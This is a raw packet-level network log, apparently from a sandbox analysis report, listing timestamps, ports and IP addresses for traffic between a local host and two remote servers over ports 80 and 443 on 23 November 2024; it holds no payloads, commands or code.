Nov 23, 2024 05:02:52.700517893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.700989962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.701359034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.701492071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.702033043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.702294111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.702363014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.703262091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.703325987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.703418016 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.704211950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.704314947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.704371929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.705148935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.705262899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.706032991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.706115961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.706213951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.706399918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.707076073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.707144022 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.707179070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.707289934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.708012104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.708059072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.708091974 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.708131075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.708983898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.709059954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.709100008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.709261894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.709916115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.709981918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.710021019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.710099936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.710886955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.710943937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.710987091 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.711464882 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.711821079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.711877108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.711913109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.711991072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.712801933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.712914944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.713032961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.713738918 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.713797092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.713835001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.713944912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.714692116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.714782953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.714792013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.714943886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.715648890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.715750933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.715811968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.716597080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.716645002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.716695070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.716859102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.717561960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.717617989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.717662096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.717741966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.718502045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.718559027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.718602896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.718655109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.719460011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.719537020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.719568968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.719718933 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.720413923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.720463991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.720508099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.720603943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.721364975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.721414089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.721421003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.721549988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.722328901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.722378969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.722423077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.722520113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.723272085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.723383904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.723397970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.723413944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.724226952 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.724287033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.724328041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.724397898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.725202084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.725219011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.725250959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.725265980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.726130009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.726242065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.726252079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.726279974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.727092981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.727144003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.727210999 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.727297068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.728060007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.728121042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.728146076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.728257895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.729003906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.729089975 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.729149103 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.729943991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.730015039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.730053902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.730230093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.730565071 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.730849028 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.730875969 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.730902910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.730956078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.731035948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.731734037 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.731839895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.731971025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.731985092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.732000113 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.732013941 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.732072115 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.732418060 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.732471943 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.732686996 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.732693911 CET	443	49890	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.732835054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.732899904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.732937098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.733069897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.733779907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.733885050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.733890057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.733925104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.734711885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.734762907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.734828949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.734921932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.735688925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.735738993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.735783100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.735908985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.736632109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.736712933 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.736749887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.736844063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.737574100 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.737680912 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.737716913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.737730026 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.738537073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.738651037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.738719940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.739454985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.739500999 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.778350115 CET	49890	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.789465904 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.789700985 CET	49886	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.789757013 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.790242910 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.790582895 CET	49886	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.790673018 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.790743113 CET	49886	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.831368923 CET	443	49886	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.839060068 CET	49886	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.873517990 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.873624086 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.873876095 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.873888016 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.874349117 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.874357939 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.874926090 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.874974966 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.875262976 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.875366926 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.875444889 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.875694036 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.875696898 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.875766039 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.876523972 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.876591921 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.876665115 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.876688004 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.876876116 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.876897097 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.877384901 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.877391100 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.877490997 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.877497911 CET	443	49891	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.877573013 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.878253937 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.878262043 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.878319979 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.878343105 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.878676891 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.878756046 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.879029036 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.879131079 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.879144907 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.895452976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.895565033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.895654917 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.895915985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.895996094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.896045923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.896920919 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.897017002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.897094011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.897830963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.897898912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.897936106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.898031950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.898768902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.898819923 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.898889065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.899043083 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.899899006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.899956942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.900001049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.900187969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.900686026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.900732040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.900795937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.900870085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.901628017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.901706934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.901742935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.902028084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.902591944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.902709007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.902776003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.903538942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.903603077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.903641939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.903759003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.904478073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.904555082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.904815912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.905442953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.905556917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.905632973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.906375885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.906421900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.906472921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.906514883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.907345057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.907387972 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.907432079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.907480955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.908301115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.908358097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.908399105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.909154892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.909236908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.909332991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.909363985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.909579039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.910200119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.910320044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.910320997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.910366058 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.911142111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.911206961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.911248922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.911288023 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.912089109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.912148952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.912209034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.912404060 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.913063049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.913135052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.913167953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.913271904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.914000988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.914055109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.914098978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.914175034 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.914957047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.915029049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.915074110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.915152073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.915911913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.915952921 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.916009903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.916059971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.916871071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.916929007 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.916990995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.917167902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.917804003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.917867899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.917918921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.918020964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.918773890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.918823004 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.918876886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.918941021 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.918941021 CET	49891	443	192.168.2.6	13.107.246.40
Nov 23, 2024 05:02:52.918956041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.919337034 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 05:02:52.919724941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.919770956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.919823885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.920613050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.920675039 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.920712948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.920758009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.920799971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.921624899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.921681881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.921732903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.921940088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.922570944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.922630072 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.922682047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.922843933 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.923548937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.923614979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.923670053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.923783064 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.924498081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.924545050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.924613953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.924705029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.925626040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.925642014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.925676107 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.925694942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.926405907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.926528931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:52.926541090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.926568985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:52.927361012 CET	80	49819	185.215.113.206	192.168.2.6
